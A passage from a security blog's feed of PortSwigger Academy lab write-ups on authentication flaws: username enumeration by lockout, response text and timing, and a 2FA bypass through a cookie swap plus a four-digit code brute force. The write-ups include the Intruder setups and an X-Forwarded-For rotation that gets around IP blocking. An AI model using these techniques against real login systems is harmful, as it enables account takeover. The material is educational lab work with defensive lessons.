id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-poisoning-via-middleware">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">The password-reset link is built using attacker-influenced host metadata. The lab uses that behavior to redirect the reset token to the exploit server.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Authentication" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Authentication/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
  </entry>
  
  <entry>
    <title>Username enumeration via account lock</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-username-enumeration-via-account-lock/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-username-enumeration-via-account-lock/</id>
    <published>2026-07-10T11:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>Repeated login attempts produce an observable difference for valid and invalid usernames, allowing the lab account to be identified before password testing.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-account-lock/step-1.png" alt="The Academy brief explains that account locking is the enumeration signal and requires finding a valid username and password."><figcaption>The Academy brief explains that account locking is the enumeration signal and requires finding a valid username and password.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The supplied credentials, candidate lists, email client, and exploit server are used only inside this Academy instance to reproduce the authentication-flow evidence shown below.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Only existing accounts enter the locked state after repeated failures. Five attempts per username expose <code>akamai</code> through the lock warning; a second Intruder run identifies <code>123321</code> by its redirect response.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-account-lock/step-2.png" alt="The Cluster Bomb setup repeats five empty-password attempts for each username, enough to trigger locking only for an existing account."><figcaption>The Cluster Bomb setup repeats five empty-password attempts for each username, enough to trigger locking only for an existing account.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Authentication failures disclose account existence through response text, lockout behavior, or another stable response characteristic.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Use Cluster Bomb so each username receives five empty-password attempts, then select the account whose body reports a one-minute lock. Test passwords for <code>akamai</code> and open the distinct <code>302</code> response.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-account-lock/step-3.png" alt="The results isolate `akamai`; its response body says too many incorrect login attempts were made and to try again in one minute."><figcaption>The results isolate `akamai`; its response body says too many incorrect login attempts were made and to try again in one minute.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-account-lock/step-4.png" alt="The password results for `akamai` show payload `123321` with a distinct response length and a `302 Found` redirect."><figcaption>The password results for `akamai` show payload `123321` with a distinct response length and a `302 Found` redirect.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the username enumeration via account lock exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-account-lock/step-5.png" alt="The solved banner and My Account page identify `akamai`, confirming that the lock message exposed the username and the password guess authenticated."><figcaption>The solved banner and My Account page identify `akamai`, confirming that the lock message exposed the username and the password guess authenticated.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Authentication controls must bind identity, challenge state, reset tokens, and retry counters to server-side transactions. Return uniform failures, rate-limit by both account and trusted client signals, and use random revocable persistent-session tokens rather than credential-derived values.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Repeated POST /login failures lock only a valid account, so the lockout warning identifies the username before a controlled password test.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Authentication" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Authentication/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
  </entry>
  
  <entry>
    <title>Username enumeration via different responses</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-username-enumeration-via-different-responses/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-username-enumeration-via-different-responses/</id>
    <published>2026-07-10T08:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>Repeated login attempts produce an observable difference for valid and invalid usernames, allowing the lab account to be identified before password testing.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-different-responses/step-1.png" alt="The Academy brief identifies a login form with candidate username and password lists and requires access to the discovered user&#x27;s account page."><figcaption>The Academy brief identifies a login form with candidate username and password lists and requires access to the discovered user's account page.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The supplied credentials, candidate lists, email client, and exploit server are used only inside this Academy instance to reproduce the authentication-flow evidence shown below.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The login endpoint returns <code>Invalid username</code> for nonexistent accounts and <code>Incorrect password</code> when the username exists. Intruder first isolates <code>info</code> by that response change, then finds <code>654321</code> through the sole redirecting password response.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-different-responses/step-2.png" alt="The login page displays the explicit failure message “Invalid username,” revealing that this request failed before password validation."><figcaption>The login page displays the explicit failure message “Invalid username,” revealing that this request failed before password validation.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Authentication failures disclose account existence through response text, lockout behavior, or another stable response characteristic.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Enumerate the username list against <code>POST /login</code>, select the response that changes to <code>Incorrect password</code>, and repeat the attack against that account with the password list. The <code>302 Found</code> result authenticates as <code>info</code> and opens the account page.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-different-responses/step-3.png" alt="Burp Intruder username results contain one response with a different length; its body says “Incorrect password,” identifying `info` as an existing account."><figcaption>Burp Intruder username results contain one response with a different length; its body says “Incorrect password,” identifying `info` as an existing account.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-different-responses/step-4.png" alt="The password attack for `info` contains one `302 Found` response while ordinary guesses return `200`, identifying `654321` as the accepted password."><figcaption>The password attack for `info` contains one `302 Found` response while ordinary guesses return `200`, identifying `654321` as the accepted password.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the username enumeration via different responses exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-different-responses/step-5.png" alt="The browser shows the solved banner above the My Account page for username `info`, confirming successful authentication."><figcaption>The browser shows the solved banner above the My Account page for username `info`, confirming successful authentication.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Authentication controls must bind identity, challenge state, reset tokens, and retry counters to server-side transactions. Return uniform failures, rate-limit by both account and trusted client signals, and use random revocable persistent-session tokens rather than credential-derived values.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">POST /login returns distinct invalid-username and incorrect-password messages, creating a response-text oracle for account discovery.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Authentication" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Authentication/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
  </entry>
  
  <entry>
    <title>2FA Broken Logic: Brute-Forcing a User-Bound Verification Code</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-2fa-broken-logic/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-2fa-broken-logic/</id>
    <published>2026-07-10T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough applies only to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Do not attempt these techniques against systems you do not own or have explicit permission to test.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The lab’s two-step login flow does not securely bind the second-factor check to the account authenticated during the password step. Instead, <code>/login2</code> uses a client-controlled <code>verify</code> cookie to decide whose code is being checked. Because the code contains four digits and the lab does not rate-limit attempts, changing that cookie to <code>carlos</code> makes it possible to test the complete code space for that synthetic account.</p><figure><img src="/images/portswigger/authentication/lab-2fa-broken-logic/step-1.png" alt="The `POST /login2` broken-logic brief supplies the credentials for Wiener, names Carlos as the target, and provides email access for observing the normal verification flow."><figcaption>The `POST /login2` broken-logic brief supplies the credentials for Wiener, names Carlos as the target, and provides email access for observing the normal verification flow.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The objective is to access the account belonging to <code>carlos</code> without knowing his password. The provided account <code>wiener</code> is useful for observing the normal authentication sequence: password submission, receipt of a verification code by email, and code submission to <code>POST /login2</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>After signing in as <code>wiener</code>, the lab delivered a one-time code to the provided email client.</p><figure><img src="/images/portswigger/authentication/lab-2fa-broken-logic/step-2.png" alt="The email client shows the four-digit security code issued for Wiener&#x27;s login attempt."><figcaption>The email client shows the four-digit security code issued for Wiener's login attempt.</figcaption></figure><p>The response from the first login step set <code>verify=wiener</code> in a cookie.</p><figure><img src="/images/portswigger/authentication/lab-2fa-broken-logic/step-3.png" alt="The first login response redirects to `/login2` and sets `verify=wiener`, placing the account under verification in a client-controlled cookie."><figcaption>The first login response redirects to `/login2` and sets `verify=wiener`, placing the account under verification in a client-controlled cookie.</figcaption></figure><p>The subsequent <code>/login2</code> request sent that same cookie alongside the verification code, showing that the second step relied on it to identify the account under verification.</p><figure><img src="/images/portswigger/authentication/lab-2fa-broken-logic/step-4.png" alt="A request with `verify=carlos` receives the `/login2` code-entry page instead of being rejected for lacking Carlos&#x27;s password step."><figcaption>A request with `verify=carlos` receives the `/login2` code-entry page instead of being rejected for lacking Carlos's password step.</figcaption></figure><p>Changing the cookie to <code>verify=carlos</code> caused the application to present the code-entry flow for Carlos rather than rejecting the inconsistent authentication state.</p><figure><img src="/images/portswigger/authentication/lab-2fa-broken-logic/step-5.png" alt="The enlarged email message shows Wiener&#x27;s four-digit code, confirming the format and limited code space used by the challenge."><figcaption>The enlarged email message shows Wiener's four-digit code, confirming the format and limited code space used by the challenge.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-2fa-broken-logic/step-6.png" alt="The modified `POST /login2` request sends `verify=carlos` with `mfa-code=1140`; the response renders “Incorrect security code,” proving attempts reach Carlos&#x27;s challenge."><figcaption>The modified `POST /login2` request sends `verify=carlos` with `mfa-code=1140`; the response renders “Incorrect security code,” proving attempts reach Carlos's challenge.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Authentication state should be maintained server-side and tied to the session that successfully completed the password step. Here, the application trusts a mutable cookie to choose the account for the second factor. The weakness is compounded by a four-digit code and the absence of effective attempt throttling on <code>/login2</code>, leaving only 10,000 possible values.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Complete the normal login flow for <code>wiener</code> and inspect the requests in Burp Suite.</li><li>Send the <code>POST /login2</code> request to Intruder and change the cookie to <code>verify=carlos</code>.</li><li>Mark the four-digit <code>mfa-code</code> value as the payload position and test values from <code>0000</code> through <code>9999</code> within this lab only.</li><li>Compare response status and length to identify the response that differs from failed attempts.</li></ol><figure><img src="/images/portswigger/authentication/lab-2fa-broken-logic/step-7.png" alt="Intruder results contain one `302` response for code `0293`, with a response length distinct from the failed four-digit attempts."><figcaption>Intruder results contain one `302` response for code `0293`, with a response length distinct from the failed four-digit attempts.</figcaption></figure><p>In the captured lab session, the distinct response corresponded to code <code>0293</code>. Using that result opened Carlos’s account.</p><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The browser displayed Carlos’s account page and the Academy marked the lab as solved. This verifies both parts of the flaw: the altered cookie selected another account, and repeated code attempts were accepted until the correct value was supplied.</p><figure><img src="/images/portswigger/authentication/lab-2fa-broken-logic/step-8.png" alt="The solved banner appears above Carlos&#x27;s My Account page after the successful code response is opened in the browser."><figcaption>The solved banner appears above Carlos's My Account page after the successful code response is opened in the browser.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Bind every MFA challenge to a server-side, short-lived authentication transaction created only after the correct password is supplied. Never use a client-provided username as the authority for selecting the challenged account. Codes should expire promptly, be single-use, and be protected by per-account and per-session attempt limits, progressive delays, monitoring, and safe recovery controls.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic">PortSwigger Web Security Academy: 2FA broken logic</a></li></ul><h2 id="Migration-provenance"><a href="#Migration-provenance" class="headerlink" title="Migration provenance"></a>Migration provenance</h2><p>This article was rewritten in English from the private migration source declared in the front matter. The reasoning and eight screenshots are preserved; the prose, structure, captions, and accessibility text were normalized without adding observations.</p>]]></content>
    
    
    <summary type="html">A PortSwigger lab walkthrough of a two-factor flow that trusts a client-controlled user identifier and permits unrestricted four-digit code attempts.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Authentication" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Authentication/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
  </entry>
  
  <entry>
    <title>Username enumeration via response timing</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-username-enumeration-via-response-timing/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-username-enumeration-via-response-timing/</id>
    <published>2026-07-10T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>Login responses take measurably different time depending on whether the supplied username reaches password verification, enabling account discovery.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-response-timing/step-1.png" alt="The Academy brief supplies `wiener:peter`, username and password lists, and requires account access using a response-time side channel."><figcaption>The Academy brief supplies `wiener:peter`, username and password lists, and requires account access using a response-time side channel.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The supplied credentials, candidate lists, email client, and exploit server are used only inside this Academy instance to reproduce the authentication-flow evidence shown below.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The application performs slower password work for an existing username. Rotating <code>X-Forwarded-For</code> avoids the one-minute IP block, while a long password amplifies the delay and identifies <code>academico</code>; a second attack finds <code>love</code>.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-response-timing/step-2.png" alt="The Intruder request places payload markers in `X-Forwarded-For` and `username` and sends a deliberately long password to amplify password-check time."><figcaption>The Intruder request places payload markers in `X-Forwarded-For` and `username` and sends a deliberately long password to amplify password-check time.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-response-timing/step-3.png" alt="The numeric payload configuration rotates `X-Forwarded-For` values from 1 through 100 so repeated login probes are not grouped under one client address."><figcaption>The numeric payload configuration rotates `X-Forwarded-For` values from 1 through 100 so repeated login probes are not grouped under one client address.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Even with uniform messages, conditional expensive work creates a timing side channel that distinguishes valid accounts.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Use Pitchfork positions for a rotating <code>X-Forwarded-For</code> value and the username list, keep a long fixed password, and compare response time. Then hold <code>academico</code> constant, rotate the header again, and identify the password response that redirects.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-response-timing/step-4.png" alt="The Pitchfork username results show `academico` with the largest response time, distinguishing it from the faster nonexistent-user responses."><figcaption>The Pitchfork username results show `academico` with the largest response time, distinguishing it from the faster nonexistent-user responses.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-response-timing/step-5.png" alt="The password results for `academico` contain a unique response length and a `302 Found` redirect for payload `love`, unlike rejected guesses."><figcaption>The password results for `academico` contain a unique response length and a `302 Found` redirect for payload `love`, unlike rejected guesses.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the username enumeration via response timing exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-response-timing/step-6.png" alt="The solved banner appears above the My Account page for `academico`, confirming the timing discovery and accepted password."><figcaption>The solved banner appears above the My Account page for `academico`, confirming the timing discovery and accepted password.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Authentication controls must bind identity, challenge state, reset tokens, and retry counters to server-side transactions. Return uniform failures, rate-limit by both account and trusted client signals, and use random revocable persistent-session tokens rather than credential-derived values.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Login responses take measurably different time depending on whether the supplied username reaches password verification, enabling account discovery.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Authentication" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Authentication/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
  </entry>
  
  <entry>
    <title>Username enumeration via subtly different responses</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-username-enumeration-via-subtly-different-responses/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-username-enumeration-via-subtly-different-responses/</id>
    <published>2026-07-10T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>Repeated login attempts produce an observable difference for valid and invalid usernames, allowing the lab account to be identified before password testing.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-subtly-different-responses/step-1.png" alt="The `POST /login` subtle-response brief states that nearly identical responses must be compared before the valid user&#x27;s password is tested."><figcaption>The `POST /login` subtle-response brief states that nearly identical responses must be compared before the valid user's password is tested.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The supplied credentials, candidate lists, email client, and exploit server are used only inside this Academy instance to reproduce the authentication-flow evidence shown below.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The rejection messages differ only by a final period. A Grep Extract column makes that character visible: <code>activestat</code> lacks the punctuation used for nonexistent users, and the later password attack produces the redirecting response.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-subtly-different-responses/step-2.png" alt="The login form shows “Invalid username or password.” with a trailing period, the punctuation used by the ordinary rejection path."><figcaption>The login form shows “Invalid username or password.” with a trailing period, the punctuation used by the ordinary rejection path.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Authentication failures disclose account existence through response text, lockout behavior, or another stable response characteristic.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Extract the complete login warning in Intruder, locate the username whose warning omits the trailing period, then test the password list for <code>activestat</code>. Open the unique redirecting response to reach the account page.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-subtly-different-responses/step-3.png" alt="For `POST /login` response enumeration, the Burp Grep Extract dialog selects the warning text so punctuation differences can be displayed as a dedicated Intruder result column."><figcaption>For `POST /login` response enumeration, the Burp Grep Extract dialog selects the warning text so punctuation differences can be displayed as a dedicated Intruder result column.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-subtly-different-responses/step-4.png" alt="The Intruder table isolates `activestat` with a response whose extracted warning lacks the usual trailing period; the accepted password attempt then returns `302`."><figcaption>The Intruder table isolates `activestat` with a response whose extracted warning lacks the usual trailing period; the accepted password attempt then returns `302`.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the username enumeration via subtly different responses exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/authentication/lab-username-enumeration-via-subtly-different-responses/step-5.png" alt="The solved banner and My Account page name `activestat`, confirming that the punctuation signal led to valid credentials."><figcaption>The solved banner and My Account page name `activestat`, confirming that the punctuation signal led to valid credentials.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Authentication controls must bind identity, challenge state, reset tokens, and retry counters to server-side transactions. Return uniform failures, rate-limit by both account and trusted client signals, and use random revocable persistent-session tokens rather than credential-derived values.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">A punctuation-level difference in the POST /login error text separates existing usernames from unknown ones and supports targeted password testing.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Authentication" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Authentication/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
  </entry>
  
  <entry>
    <title>Web lab: read an authentication flow as a state machine</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/2026-07-10-web/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/2026-07-10-web/</id>
    <published>2026-07-10T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Educational &#x2F; lab material.</strong> This post uses a simulated application, fictional data, and no real target.</p></blockquote><h2 id="Questions-before-a-payload"><a href="#Questions-before-a-payload" class="headerlink" title="Questions before a payload"></a>Questions before a payload</h2><p>In a login flow, I start with four questions: which states exist, which states are trusted, what changes between steps, and what the server checks at each transition.</p><p>Instead of presenting a concrete payload, build a table with <code>state</code>, <code>input</code>, <code>server decision</code>, and <code>expected invariant</code>. This helps separate interface problems from server-side logic problems.</p><h2 id="Signals-to-record"><a href="#Signals-to-record" class="headerlink" title="Signals to record"></a>Signals to record</h2><ul><li>does the cookie or session change after each step;</li><li>does access depend on data sent by the client;</li><li>is the behavior consistent when the same flow is reopened in a clean lab.</li></ul><h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><p>A good writeup explains why a hypothesis is right or wrong, rather than only showing a request that “looks unusual.”</p>]]></content>
    
    
    <summary type="html">A safe exercise in redrawing a state machine before reaching a conclusion about an authentication flaw.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="Web" scheme="https://blog.nhhoang.io.vn/categories/Writeups/Web/"/>
    
    
    <category term="methodology" scheme="https://blog.nhhoang.io.vn/tags/methodology/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
    <category term="web" scheme="https://blog.nhhoang.io.vn/tags/web/"/>
    
  </entry>
  
  <entry>
    <title>Excessive trust in client-side controls</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-excessive-trust-in-client-side-controls/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-excessive-trust-in-client-side-controls/</id>
    <published>2026-07-09T23:00:00.000Z</published>
